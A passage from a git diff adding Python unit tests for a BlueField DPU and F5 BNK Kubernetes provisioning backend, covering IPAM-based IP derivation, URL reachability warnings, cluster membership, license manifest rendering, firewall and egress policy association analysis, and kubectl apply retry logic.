test_stream_emits_bfb_then_bf_cfg(self, tmp_path: Path): @@ -312,6 +334,31 @@ def test_none_falls_back_to_rshim0(self): def test_garbage_falls_back_to_rshim0(self): assert derive_tmfifo_dpu_ip("not-an-rshim") == "192.168.100.2/30" + # ── Persisted IPAM values (ADR-424 cluster-scoped allocation) ────────── + + def test_persisted_dpu_ip_overrides_formula_in_ip(self): + # A DPU allocated .6 by cluster IPAM must flash with .6, not the + # formula .2 derived from rshim0. + dpu = _Stub(dpu_tmfifo_ip="192.168.100.6", kubernetes_cluster_id=1) + assert derive_tmfifo_dpu_ip("rshim0", dpu=dpu) == "192.168.100.6/30" + + def test_persisted_dpu_ip_overrides_formula_in_host(self): + dpu = _Stub(dpu_tmfifo_ip="192.168.100.6", kubernetes_cluster_id=1) + assert derive_tmfifo_dpu_host("rshim0", dpu=dpu) == "192.168.100.6" + + def test_none_dpu_ip_falls_back_to_formula(self): + dpu = _Stub(dpu_tmfifo_ip=None) + assert derive_tmfifo_dpu_ip("rshim1", dpu=dpu) == "192.168.101.2/30" + assert derive_tmfifo_dpu_host("rshim1", dpu=dpu) == "192.168.101.2" + + def test_orphaned_dpu_cluster_id_null_falls_back_to_formula(self): + # Belt-and-braces (ADR-424 cold audit A2): cluster deleted, ondelete=SET NULL + # cleared kubernetes_cluster_id but dpu_tmfifo_ip still holds the old value. + # derive_* must fall back to the rshim formula, not bake the stale orphan IP. + dpu = _Stub(dpu_tmfifo_ip="192.168.100.6", kubernetes_cluster_id=None) + assert derive_tmfifo_dpu_ip("rshim0", dpu=dpu) == "192.168.100.2/30" + assert derive_tmfifo_dpu_host("rshim0", dpu=dpu) == "192.168.100.2" + def test_render_context_includes_tmfifo_ip(self): # bf.conf templates reference {{ hostvars[…].tmfifo_dpu_ip }} — # the render context must pass it through. diff --git a/backend/tests/unit/test_bluefield_image_service.py b/backend/tests/unit/test_bluefield_image_service.py index 99103d01..c1a7ca09 100644 --- a/backend/tests/unit/test_bluefield_image_service.py +++ b/backend/tests/unit/test_bluefield_image_service.py @@ -31,6 +31,22 @@ def service(db: Session) -> BluefieldImageService: return BluefieldImageService(db) +@pytest.fixture(autouse=True) +def _default_head_ok(monkeypatch): + """Block real HTTP calls in unit tests by defaulting HEAD to HTTP 200. + + Tests in TestUrlValidationWarnings override this per test with an explicit + monkeypatch.setattr — the last setattr wins within the same fixture scope. + """ + class _Ok: + status_code = 200 + + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + lambda url, **_kw: _Ok(), + ) + + class TestCreate: def test_creates_image_with_doca_identity(self, service: BluefieldImageService, db: Session): img = service.create_image( @@ -224,3 +240,126 @@ def test_delete_removes_row(self, service: BluefieldImageService, db: Session): def test_delete_missing_raises(self, service: BluefieldImageService): with pytest.raises(NotFoundError): service.delete_image(999) + + +class TestUrlValidationWarnings: + """Bug 3 — URL reachability is checked on create/update; failures are non-blocking warnings.""" + + def _make_fake_head(self, status_code: int): + class _Resp: + pass + resp = _Resp() + resp.status_code = status_code # type: ignore[attr-defined] + return lambda url, **_kw: resp + + def test_createWithUnreachableUrl_succeedsWithWarning( + self, service: BluefieldImageService, db: Session, monkeypatch + ): + """create_image with a 404 BFB URL must save the row and surface a warning.""" + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + self._make_fake_head(404), + ) + img = service.create_image(BluefieldSoftwareImageCreate( + doca_version="3.9.0", + host_os="ubuntu", + host_arch="arm64", + image_filename="test.bfb", + base_url="https://example.com/BFBs/Ubuntu24.04/", + )) + db.commit() + + assert img.id is not None, "Row must be saved even when URL returns 404" + assert hasattr(img, "url_warnings"), "url_warnings attribute must be set" + assert len(img.url_warnings) > 0, "At least one warning expected for HTTP 404" + assert any("404" in w for w in img.url_warnings), ( + f"Warning must mention HTTP 404; got: {img.url_warnings}" + ) + + def test_createWithNetworkError_succeedsWithWarning( + self, service: BluefieldImageService, db: Session, monkeypatch + ): + """Network errors during HEAD check are caught and surfaced as warnings.""" + import requests as _requests + + def _raise(url, **_kw): + raise _requests.ConnectionError("unreachable") + + monkeypatch.setattr("services.bluefield_image_service.requests.head", _raise) + img = service.create_image(BluefieldSoftwareImageCreate( + doca_version="3.9.1", + host_os="ubuntu", + host_arch="arm64", + image_filename="test.bfb", + base_url="https://airgapped.internal/BFBs/", + )) + db.commit() + + assert img.id is not None, "Row must be saved even when URL is unreachable" + assert len(img.url_warnings) > 0, "Network error must produce a warning" + + def test_createWithOkUrl_hasNoWarnings( + self, service: BluefieldImageService, db: Session, monkeypatch + ): + """HTTP 200 responses produce no warnings.""" + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + self._make_fake_head(200), + ) + img = service.create_image(BluefieldSoftwareImageCreate( + doca_version="3.9.2", + host_os="ubuntu", + host_arch="arm64", + image_filename="valid.bfb", + base_url="https://example.com/BFBs/Ubuntu24.04/", + )) + db.commit() + + assert img.url_warnings == [], f"No warnings expected for HTTP 200; got: {img.url_warnings}" + + def test_createWithoutUrls_hasNoWarnings( + self, service: BluefieldImageService, db: Session, monkeypatch + ): + """Rows without image_filename/base_url/doca_host_url skip URL checks.""" + called = [] + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + lambda url, **_kw: called.append(url), + ) + img = service.create_image(BluefieldSoftwareImageCreate( + doca_version="3.9.3", + host_os="ubuntu", + host_arch="arm64", + )) + db.commit() + + assert called == [], "HEAD must not be called when no URLs are present" + assert img.url_warnings == [] + + def test_updateWithUnreachableUrl_succeedsWithWarning( + self, service: BluefieldImageService, db: Session, monkeypatch + ): + """update_image with a bad URL must save the update and surface a warning.""" + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + self._make_fake_head(200), + ) + img = service.create_image(BluefieldSoftwareImageCreate( + doca_version="3.9.4", host_os="ubuntu", host_arch="arm64", + )) + db.commit() + + # Now update with a bad URL + monkeypatch.setattr( + "services.bluefield_image_service.requests.head", + self._make_fake_head(404), + ) + updated = service.update_image(img.id, BluefieldSoftwareImageUpdate( + image_filename="bad.bfb", + base_url="https://example.com/bad/", + )) + db.commit() + + assert updated.id == img.id + assert len(updated.url_warnings) > 0 + assert any("404" in w for w in updated.url_warnings) diff --git a/backend/tests/unit/test_bnk_cluster_service.py b/backend/tests/unit/test_bnk_cluster_service.py new file mode 100644 index 00000000..0c3d07a8 --- /dev/null +++ b/backend/tests/unit/test_bnk_cluster_service.py @@ -0,0 +1,103 @@ +"""Unit tests for BnkClusterService (ADR-424).""" + +from unittest.mock import MagicMock + +import pytest + +from core.errors import NotFoundError +from models.bare_metal import BareMetalHost +from models.dpu import Dpu +from models.kubernetes import BnkClusterConfig, KubernetesCluster +from services.bnk_cluster_service import BnkClusterService + + +@pytest.fixture +def mock_db(): + return MagicMock() + + +def test_get_or_create_config_new(mock_db): + cluster = KubernetesCluster(id=1, name="cluster-1") + + # DB mocks + def query_side_effect(model): + m = MagicMock() + if model == KubernetesCluster: + m.get.return_value = cluster + elif model == BnkClusterConfig: + m.filter.return_value.first.return_value = None + return m + + mock_db.query.side_effect = query_side_effect + + service = BnkClusterService(mock_db) + cfg = service.get_or_create_config(cluster_id=1, tmfifo_pool_cidr="192.168.100.0/22") + + assert cfg.cluster_id == 1 + assert cfg.tmfifo_pool_cidr == "192.168.100.0/22" + assert cfg.join_transport == "rshim" + + +def test_assign_members_success(mock_db): + cluster = KubernetesCluster(id=1, name="cluster-1") + cp_host = BareMetalHost(id=101, hostname="host-cp") + worker_host = BareMetalHost(id=102, hostname="host-worker") + dpu1 = Dpu(id=201, name="dpu-1") + + def query_side_effect(model): + m = MagicMock() + if model == KubernetesCluster: + m.get.return_value = cluster + elif model == BnkClusterConfig: + m.filter.return_value.first.return_value = None + elif model == BareMetalHost: + m.get.side_effect = lambda hid: cp_host if hid == 101 else worker_host + m.filter.return_value.all.return_value = [cp_host, worker_host] + m.filter.return_value.with_for_update.return_value.all.return_value = [cp_host, worker_host] + elif model == Dpu: + m.filter.return_value.all.return_value = [dpu1] + m.filter.return_value.with_for_update.return_value.all.return_value = [dpu1] + return m + + mock_db.query.side_effect = query_side_effect + + service = BnkClusterService(mock_db) + res = service.assign_members( + cluster_id=1, + control_plane_host_id=101, + host_ids=[101, 102], + dpu_ids=[201], + tmfifo_pool_cidr="192.168.100.0/22", + ) + + assert res["cluster_id"] == 1 + assert res["control_plane_host_id"] == 101 + assert cp_host.is_control_plane is True + assert cp_host.kubernetes_cluster_id == 1 + assert worker_host.is_control_plane is False + assert worker_host.kubernetes_cluster_id == 1 + assert len(res["assigned_dpus"]) == 1 + assert res["assigned_dpus"][0]["dpu_id"] == 201 + + +def test_assign_members_missing_cp_host(mock_db): + cluster = KubernetesCluster(id=1, name="cluster-1") + + def query_side_effect(model): + m = MagicMock() + if model == KubernetesCluster: + m.get.return_value = cluster + elif model == BareMetalHost: + m.get.return_value = None + return m + + mock_db.query.side_effect = query_side_effect + + service = BnkClusterService(mock_db) + with pytest.raises(NotFoundError): + service.assign_members( + cluster_id=1, + control_plane_host_id=999, + host_ids=[999], + dpu_ids=[], + ) diff --git a/backend/tests/unit/test_bnk_license_module.py b/backend/tests/unit/test_bnk_license_module.py new file mode 100644 index 00000000..56bf0b15 --- /dev/null +++ b/backend/tests/unit/test_bnk_license_module.py @@ -0,0 +1,303 @@ +""" +Unit tests for bare-metal/bnk-license SSH module (ADR-478). + +Tests: + - Class attributes (path, name, dependencies, version, timeout) + - _parse_major_minor helper: correct parsing + edge cases + - render_manifests: correct License CR shape + fields + - get_required_crds, get_required_deployments, get_readiness_waits + - execute() release gating: + 2.2.x → clean no-op (no SSH calls, returns license_active=True) + 2.3.x → delegates to base execute() (applies manifest, waits) + - collect_outputs returns {"license_active": True} + - module_registry includes bare-metal/bnk-license + +No DB, no live SSH — pure Python + MagicMock. +""" + +from __future__ import annotations + +from unittest.mock import MagicMock, call, patch + +import pytest + +from modules.bare_metal.bnk_license import BnkLicenseSSHModule, _parse_major_minor + +pytestmark = pytest.mark.unit + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _module() -> BnkLicenseSSHModule: + return BnkLicenseSSHModule() + + +def _vars(**overrides) -> dict: + """Minimal variable dict accepted by the module.""" + base = { + "bare_metal_host_id": 1, + "jwt_token": "eyJ.test.jwt", + "license_mode": "connected", + "namespace": "f5-operator", + "license_cr_name": "bnk-license", + "manifest_version": "2.3.1-3.2598.3-0.0.304", + } + base.update(overrides) + return base + + +# --------------------------------------------------------------------------- +# _parse_major_minor +# --------------------------------------------------------------------------- + +class TestParseMajorMinor: + def test_parses_231(self): + assert _parse_major_minor("2.3.1-3.2598.3-0.0.304") == (2, 3) + + def test_parses_221(self): + assert _parse_major_minor("2.2.1-3.2226.0-0.0.511") == (2, 2) + + def test_parses_plain_version(self): + assert _parse_major_minor("2.3.0") == (2, 3) + + def test_empty_string_returns_zero(self): + assert _parse_major_minor("") == (0, 0) + + def test_none_like_empty_returns_zero(self): + # The caller always str()-wraps, so only test str empty + assert _parse_major_minor("") == (0, 0) + + def test_garbage_returns_zero(self): + assert _parse_major_minor("not-a-version") == (0, 0) + + def test_major_only_returns_minor_zero(self): + assert _parse_major_minor("3") == (3, 0) + + +# --------------------------------------------------------------------------- +# Class attributes +# --------------------------------------------------------------------------- + +class TestClassAttributes: + def test_path(self): + assert _module().path == "bare-metal/bnk-license" + + def test_name_nonempty(self): + assert _module().name + + def test_version(self): + assert _module().version == "1.0.0" + + def test_timeout_positive(self): + assert _module().timeout > 0 + + def test_dependencies_include_cneinstance(self): + assert "bare-metal/bnk-cneinstance" in BnkLicenseSSHModule.dependencies + + def test_category_bare_metal(self): + assert _module().category == "bare-metal" + + def test_target_host(self): + assert _module().target == "host" + + def test_namespace_var(self): + assert _module().namespace_var == "namespace" + + def test_default_namespace(self): + assert _module().default_namespace == "f5-operator" + + +# --------------------------------------------------------------------------- +# render_manifests +# --------------------------------------------------------------------------- + +class TestRenderManifests: + def test_returns_single_license_cr(self): + mod = _module() + manifests = mod.render_manifests(_vars()) + assert len(manifests) == 1 + + def test_license_cr_api_version_kind(self): + manifests = _module().render_manifests(_vars()) + cr = manifests[0] + assert cr["apiVersion"] == "k8s.f5net.com/v1" + assert cr["kind"] == "License" + + def test_license_cr_name_and_namespace(self): + manifests = _module().render_manifests(_vars( + license_cr_name="my-license", namespace="f5-operator" + )) + meta = manifests[0]["metadata"] + assert meta["name"] == "my-license" + assert meta["namespace"] == "f5-operator" + + def test_license_cr_jwt_field(self): + jwt = "eyJhbGciOiJSUzI1NiJ9.payload.sig" + manifests = _module().render_manifests(_vars(jwt_token=jwt)) + assert manifests[0]["spec"]["jwt"] == jwt + + def test_license_cr_operation_mode(self): + manifests = _module().render_manifests(_vars(license_mode="offline")) + assert manifests[0]["spec"]["operationMode"] == "offline" + + def test_license_cr_teem_urls(self): + spec = _module().render_manifests(_vars())[0]["spec"] + assert spec["teemCertUrl"] == "https://product.apis.f5.com/ee/v1" + assert spec["teemEntitlementUrl"] == "https://product-s.apis.f5.com/ee/v1" + assert spec["teemInitialConfigUrl"] == "https://product-s.apis.f5.com/ee/v1" + + def test_license_cr_defaults(self): + """Defaults apply when optional inputs are absent.""" + mod = _module() + manifests = mod.render_manifests({"jwt_token": "eyJ.t.s"}) + meta = manifests[0]["metadata"] + assert meta["name"] == "bnk-license" + assert meta["namespace"] == "f5-operator" + assert manifests[0]["spec"]["operationMode"] == "connected" + + +# --------------------------------------------------------------------------- +# get_required_crds / get_required_deployments / get_readiness_waits +# --------------------------------------------------------------------------- + +class TestGates: + def test_required_crds_includes_licenses(self): + mod = _module() + crds = mod.get_required_crds(_vars()) + assert "licenses.k8s.f5net.com" in crds + + def test_required_deployments_cwc_in_namespace(self): + mod = _module() + deps = mod.get_required_deployments(_vars(namespace="f5-operator")) + assert {"name": "f5-spk-cwc", "namespace": "f5-operator"} in deps + + def test_readiness_waits_license_active(self): + mod = _module() + waits = mod.get_readiness_waits(_vars( + license_cr_name="bnk-license", namespace="f5-operator" + )) + assert len(waits) == 1 + w = waits[0] + assert w["kind"] == "licenses.k8s.f5net.com" + assert w["name"] == "bnk-license" + assert w["namespace"] == "f5-operator" + assert w["condition"] == "condition=LicenseActive" + assert w["timeout"] == 600 + + def test_readiness_waits_respects_cr_name(self): + mod = _module() + waits = mod.get_readiness_waits(_vars(license_cr_name="custom-license")) + assert waits[0]["name"] == "custom-license" + + +# --------------------------------------------------------------------------- +# collect_outputs +# --------------------------------------------------------------------------- + +class TestCollectOutputs: + def test_returns_license_active_true(self): + mod = _module() + out = mod.collect_outputs(MagicMock(), _vars()) + assert out == {"license_active": True} + + +# --------------------------------------------------------------------------- +# execute() — version gating +# --------------------------------------------------------------------------- + +class TestExecuteVersionGating: + """execute() must be a clean no-op for pre-2.3 releases.""" + + def _make_session(self): + return MagicMock() + + def test_22x_is_noop_no_ssh_calls(self): + """2.2.x: execute() logs once and returns without touching SSH.""" + mod = _module() + session = self._make_session() + logs: list[str] = [] + + result = mod.execute( + session, + _vars(manifest_version="2.2.1-3.2226.0-0.0.511"), + logs.append, + ) + + # No SSH commands issued + session.execute.assert_not_called() + + # Returns license_active=True + assert result["license_active"] is True + assert "execution_duration_seconds" in result + + # Logged a skip explanation + assert any("pre-2.3" in line or "Skipping" in line for line in logs) + + def test_22x_empty_manifest_version_is_noop(self): + """Empty manifest_version → safe no-op (same as <2.3).""" + mod = _module() + session = self._make_session() + logs: list[str] = [] + + result = mod.execute(session, _vars(manifest_version=""), logs.append) + + session.execute.assert_not_called() + assert result["license_active"] is True + + def test_23x_delegates_to_base_execute(self): + """2.3.x: execute() must delegate to the BnkSSHModule base class.""" + mod = _module() + session = self._make_session() + logs: list[str] = [] + + # Patch super().execute() so we don't need a real SSH session + expected_outputs = { + "license_active": True, + "execution_duration_seconds": 1.0, + } + with patch.object( + type(mod).__mro__[1], # BnkSSHModule + "execute", + return_value=expected_outputs, + ) as mock_base: + result = mod.execute( + session, + _vars(manifest_version="2.3.1-3.2598.3-0.0.304"), + logs.append, + ) + mock_base.assert_called_once() + + assert result == expected_outputs + + def test_23x_no_skip_log(self): + """2.3.x: the no-op skip log must NOT appear.""" + mod = _module() + logs: list[str] = [] + + with patch.object(type(mod).__mro__[1], "execute", return_value={"license_active": True}): + mod.execute( + MagicMock(), + _vars(manifest_version="2.3.0"), + logs.append, + ) + + assert not any("Skipping" in line for line in logs) + + +# --------------------------------------------------------------------------- +# Module registry +# --------------------------------------------------------------------------- + +class TestModuleRegistry: + def test_bnk_license_registered(self): + """bare-metal/bnk-license must be present in the Python module registry.""" + from modules import get_module_registry + registry = get_module_registry() + assert "bare-metal/bnk-license" in registry + + def test_registered_instance_is_correct_type(self): + from modules import get_module_registry + registry = get_module_registry() + assert isinstance(registry["bare-metal/bnk-license"], BnkLicenseSSHModule) diff --git a/backend/tests/unit/test_bnk_policy_associations.py b/backend/tests/unit/test_bnk_policy_associations.py index c08e1b83..0b71f458 100644 --- a/backend/tests/unit/test_bnk_policy_associations.py +++ b/backend/tests/unit/test_bnk_policy_associations.py @@ -14,7 +14,13 @@ def _resource(name: str, namespace: str = "f5-bnk", **kw) -> dict: def _empty_resources() -> dict: - return {k: [] for k in ["bnksecpolicy", "gateway", "f5bigfwpolicy"]} + return { + k: [] + for k in [ + "bnksecpolicy", "gateway", "f5bigfwpolicy", "f5spkegress", + "f5bigcneaddresslist", "f5bigcneportlist", + ] + } class TestAnalyzePolicyAssociations: @@ -44,6 +50,7 @@ def test_sec_policy_with_gateway_and_firewall(self): result = analyze_policy_associations({"resources": resources}) assert result["count"] == 1 a = result["associations"][0] + assert a["kind"] == "gateway" assert a["bnk_policy_name"] == "sec-pol" assert a["gateway_name"] == "gw-prod" assert a["listener_name"] == "http" @@ -54,6 +61,11 @@ def test_sec_policy_with_gateway_and_firewall(self): assert a["rules_count"] == 1 assert a["rules"][0]["action"] == "drop" assert a["rules"][0]["logging"] is True + # Referenced port list has no matching resource — name kept, ports empty + assert a["rules"][0]["destination"]["ports"] == [] + assert a["rules"][0]["destination"]["portLists"] == ["ssh-ports"] + assert a["rules"][0]["destination"]["addresses"] == [] + assert a["rules"][0]["destination"]["addressLists"] == [] def test_non_gateway_target_skipped(self): resources = _empty_resources() @@ -104,6 +116,184 @@ def test_missing_firewall_policy_no_rules(self): assert "rules_count" not in a +class TestEgressAssociations: + def test_egress_with_firewall_policy_produces_association(self): + resources = _empty_resources() + resources["f5bigfwpolicy"] = [_resource("egress-demo-fw", spec={ + "rule": [ + {"name": "deny-egress", "action": "drop", "ipProtocol": "tcp", + "source": {}, "destination": {}, "logging": True}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress-demo", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "egress-demo-fw", + "pseudoCNIConfig": {"namespaces": ["bnk-egress-demo"]}, + })] + + result = analyze_policy_associations({"resources": resources}) + assert result["count"] == 1 + a = result["associations"][0] + assert a["kind"] == "egress" + assert a["egress_name"] == "bnk-egress-demo" + assert a["namespace"] == "f5-bnk" + assert a["captured_namespaces"] == ["bnk-egress-demo"] + assert a["snat_type"] == "SRC_TRANS_AUTOMAP" + assert a["firewall_policy_name"] == "egress-demo-fw" + assert a["rules_count"] == 1 + assert a["rules"][0]["action"] == "drop" + assert a["rules"][0]["logging"] is True + assert a["rules"][0]["source"]["addresses"] == [] + assert a["rules"][0]["destination"]["addresses"] == [] + + def test_egress_without_firewall_policy_produces_no_association(self): + resources = _empty_resources() + resources["f5spkegress"] = [_resource("bnk-egress-demo", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + })] + + result = analyze_policy_associations({"resources": resources}) + assert result["count"] == 0 + + def test_egress_with_missing_firewall_policy_no_rules(self): + resources = _empty_resources() + resources["f5spkegress"] = [_resource("bnk-egress-demo", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "missing-fw", + })] + + result = analyze_policy_associations({"resources": resources}) + assert result["count"] == 1 + a = result["associations"][0] + assert "rules" not in a + assert "rules_count" not in a + + +class TestResolvedListReferences: + """Rules resolve addressLists/portLists into inline addresses/ports (both paths).""" + + def test_egress_rule_resolves_address_list_to_addresses(self): + resources = _empty_resources() + resources["f5bigcneaddresslist"] = [_resource("egress-demo-blocked", spec={ + "addresses": ["1.1.1.1/32"], + })] + resources["f5bigfwpolicy"] = [_resource("egress-demo-fw", spec={ + "rule": [ + {"name": "block-test-target", "action": "drop", "ipProtocol": "tcp", + "source": {}, "destination": {"addressLists": ["egress-demo-blocked"]}, + "logging": True}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress-demo", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "egress-demo-fw", + })] + + result = analyze_policy_associations({"resources": resources}) + rule = result["associations"][0]["rules"][0] + assert rule["destination"]["addresses"] == ["1.1.1.1/32"] + assert rule["destination"]["addressLists"] == ["egress-demo-blocked"] + assert rule["destination"]["ports"] == [] + assert rule["destination"]["portLists"] == [] + + def test_gateway_rule_direct_addresses_unaffected(self): + resources = _empty_resources() + resources["gateway"] = [_resource("gw-prod")] + resources["f5bigfwpolicy"] = [_resource("fw-1", spec={ + "rule": [ + {"name": "allow-direct", "action": "accept", "ipProtocol": "tcp", + "source": {"addresses": ["10.0.0.0/24"]}, "destination": {}, "logging": False}, + ], + })] + resources["bnksecpolicy"] = [_resource("sec-pol", spec={ + "targetRefs": [{"name": "gw-prod", "kind": "Gateway"}], + "extensionRefs": [{"kind": "F5BigFwPolicy", "name": "fw-1"}], + })] + + result = analyze_policy_associations({"resources": resources}) + rule = result["associations"][0]["rules"][0] + assert rule["source"]["addresses"] == ["10.0.0.0/24"] + assert rule["source"]["addressLists"] == [] + + def test_referenced_but_missing_list_keeps_name_with_empty_addresses(self): + resources = _empty_resources() + resources["f5bigfwpolicy"] = [_resource("egress-demo-fw", spec={ + "rule": [ + {"name": "block-unknown", "action": "drop", "ipProtocol": "tcp", + "source": {}, "destination": {"addressLists": ["does-not-exist"]}, + "logging": False}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress-demo", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "egress-demo-fw", + })] + + result = analyze_policy_associations({"resources": resources}) + rule = result["associations"][0]["rules"][0] + assert rule["destination"]["addresses"] == [] + assert rule["destination"]["addressLists"] == ["does-not-exist"] + + def test_rule_with_null_source_and_destination_handles_gracefully(self): + resources = _empty_resources() + resources["f5bigfwpolicy"] = [_resource("fw-null", spec={ + "rule": [ + {"name": "null-rule", "action": "accept", "ipProtocol": "tcp", + "source": None, "destination": None, "logging": False}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "fw-null", + })] + + result = analyze_policy_associations({"resources": resources}) + assert result["count"] == 1 + rule = result["associations"][0]["rules"][0] + assert rule["source"] == {"addresses": [], "ports": [], "addressLists": [], "portLists": []} + assert rule["destination"] == {"addresses": [], "ports": [], "addressLists": [], "portLists": []} + + def test_rule_direction_with_null_fields_handles_gracefully(self): + resources = _empty_resources() + resources["f5bigfwpolicy"] = [_resource("fw-null-fields", spec={ + "rule": [ + {"name": "null-fields-rule", "action": "accept", "ipProtocol": "tcp", + "source": {"addresses": None, "addressLists": None, "ports": None, "portLists": None}, + "destination": {}, "logging": False}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "fw-null-fields", + })] + + result = analyze_policy_associations({"resources": resources}) + assert result["count"] == 1 + rule = result["associations"][0]["rules"][0] + assert rule["source"] == {"addresses": [], "ports": [], "addressLists": [], "portLists": []} + + def test_port_type_normalization_deduplicates_int_and_string_ports(self): + resources = _empty_resources() + resources["f5bigcneportlist"] = [_resource("http-ports", spec={ + "ports": [80, 8080], + })] + resources["f5bigfwpolicy"] = [_resource("fw-ports", spec={ + "rule": [ + {"name": "mix-ports", "action": "accept", "ipProtocol": "tcp", + "source": {}, "destination": {"ports": ["80"], "portLists": ["http-ports"]}, + "logging": False}, + ], + })] + resources["f5spkegress"] = [_resource("bnk-egress", spec={ + "snatType": "SRC_TRANS_AUTOMAP", + "firewallEnforcedPolicy": "fw-ports", + })] + + result = analyze_policy_associations({"resources": resources}) + rule = result["associations"][0]["rules"][0] + assert rule["destination"]["ports"] == ["80", "8080"] + + class TestBuildAssociation: def test_full_association(self): bnk = _resource("sec-pol") diff --git a/backend/tests/unit/test_bnk_ssh_base_apply_retry.py b/backend/tests/unit/test_bnk_ssh_base_apply_retry.py new file mode 100644 index 00000000..34c3e029 --- /dev/null +++ b/backend/tests/unit/test_bnk_ssh_base_apply_retry.py @@ -0,0 +1,144 @@ +""" +Unit tests for BnkSSHModule._apply_manifests retry logic (ADR-478). + +Covers: + - Transient ResourceQuota admission race ("status unknown for quota"): + first apply fails, second succeeds — no exception raised, retry logged. + - Non-retriable stderr: raises RuntimeError on the first failure, no retry. + +No DB, no live SSH — pure Python + MagicMock + SimpleNamespace stubs. +""" + +from __future__ import annotations + +from types import SimpleNamespace +from unittest.mock import MagicMock, patch + +import pytest + +from modules.bare_metal.bnk_ssh_base import BnkSSHModule + +pytestmark = pytest.mark.unit + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def _res(exit_code: int = 0, stdout: str = "", stderr: str = "") -> SimpleNamespace: + """Minimal stub matching the attributes _apply_manifests reads.""" + return SimpleNamespace(exit_code=exit_code, stdout=stdout, stderr=stderr) + + +def _module() -> BnkSSHModule: + return BnkSSHModule() + + +def _apply_call_count(session: MagicMock) -> int: + """Count session.execute calls that contain 'kubectl apply'.""" + return sum(1 for c in session.execute.call_args_list if "kubectl apply" in str(c)) + + +def _make_session(*side_effects: SimpleNamespace) -> MagicMock: + """Return a mock session whose .execute() yields the given results in order. + + sequence: + [0] mktemp result — must have exit_code=0, stdout= + [1] cat-write result — return value is discarded by _write_remote_tmp + [2..n] apply attempts — checked for exit_code / stderr + [-1] shred result — return value is discarded by _shred_remote_tmp + """ + session = MagicMock() + session.execute.side_effect = list(side_effects) + return session + + +# --------------------------------------------------------------------------- +# Quota-status transient retry +# --------------------------------------------------------------------------- + +class TestApplyManifestsQuotaStatusRetry: + """_apply_manifests must retry when stderr contains 'status unknown for quota'.""" + + _QUOTA_ERR = "status unknown for quota: f5-single-license-quota, resources: count/licenses.k8s.f5net.com" + _MANIFEST = [{"apiVersion": "k8s.f5net.com/v1", "kind": "License", "metadata": {"name": "bnk-license"}}] + + def test_apply_manifests_quota_status_error_retries_and_succeeds(self): + """Arrange: first apply returns quota-status Forbidden; second returns exit 0. + Assert: no RuntimeError is raised and apply was called at least twice. + """ + session = _make_session( + _res(exit_code=0, stdout="/tmp/bnk.tmp12345"), # mktemp + _res(), # cat write + _res(exit_code=1, stderr=self._QUOTA_ERR), # apply attempt 1 — transient + _res(exit_code=0, stdout="license.k8s.f5net.com/bnk-license created"), # apply attempt 2 — ok + _res(), # shred + ) + logs: list[str] = [] + + with patch("time.sleep"): + # Should not raise + _module()._apply_manifests(session, self._MANIFEST, logs.append) + + assert _apply_call_count(session) >= 2 + + def test_apply_manifests_quota_status_error_emits_retry_log(self): + """Retry must log a message containing 'transient admission error'.""" + session = _make_session( + _res(exit_code=0, stdout="/tmp/bnk.tmp12345"), + _res(), + _res(exit_code=1, stderr=self._QUOTA_ERR), + _res(exit_code=0, stdout="license.k8s.f5net.com/bnk-license created"), + _res(), + ) + logs: list[str] = [] + + with patch("time.sleep"): + _module()._apply_manifests(session, self._MANIFEST, logs.append) + + assert any("transient admission error" in line for line in logs) + + def test_apply_manifests_quota_status_error_sleeps_between_attempts(self): + """time.sleep must be called once between the two attempts.""" + session = _make_session( + _res(exit_code=0, stdout="/tmp/bnk.tmp12345"), + _res(), + _res(exit_code=1, stderr=self._QUOTA_ERR), + _res(exit_code=0, stdout="license.k8s.f5net.com/bnk-license created"), + _res(), + ) + + with patch("time.sleep") as mock_sleep: + _module()._apply_manifests(session, self._MANIFEST, lambda _: None) + + mock_sleep.assert_called_once_with(BnkSSHModule.WEBHOOK_RETRY_SLEEP) + + +# --------------------------------------------------------------------------- +# Non-retriable failure +# --------------------------------------------------------------------------- + +class TestApplyManifestsNonRetriableError: + """_apply_manifests must raise RuntimeError immediately on non-retriable stderr.""" + + _MANIFEST = [{"apiVersion": "v1", "kind": "ConfigMap", "metadata": {"name": "cfg"}}] + + def test_apply_manifests_nonretriable_error_raises_without_retry(self): + """Arrange: apply returns exit 1 with unrecognised stderr. + Assert: RuntimeError is raised and apply was called exactly once. + """ + session = _make_session( + _res(exit_code=0, stdout="/tmp/bnk.tmp99999"), # mktemp + _res(), # cat write + _res(exit_code=1, stderr="some other error"), # apply — non-retriable + _res(), # shred (finally) + ) + + with patch("time.sleep") as mock_sleep: + with pytest.raises(RuntimeError, match="kubectl apply failed"): + _module()._apply_manifests(session, self._MANIFEST, lambda _: None) + + # no retry → sleep never called + mock_sleep.assert_not_called() + # apply was attempted exactly once + assert _apply_call_count(session) == 1 diff --git a/backend/tests/unit/test_bnk_topology.py b/backend/tests/unit/test_bnk_topology.py index 8c6abd33..6daaec62 100644 --- a/backend/tests/unit/test_bnk_topology.py +++ b/backend/tests/unit/test_bnk_topology.py @@ -10,13 +10,14 @@ from services.bnk.topology import ( _build_cne_instance, _build_data_plane, + _build_egress, _build_vlan, _match_analyzers, _match_net_policies, _match_routes_to_listener, _match_sec_policies, - _resolve_list_refs, analyze_topology, + resolve_list_refs, ) # --------------------------------------------------------------------------- @@ -292,7 +293,7 @@ def test_sec_policy_with_firewall(self): # --------------------------------------------------------------------------- -# 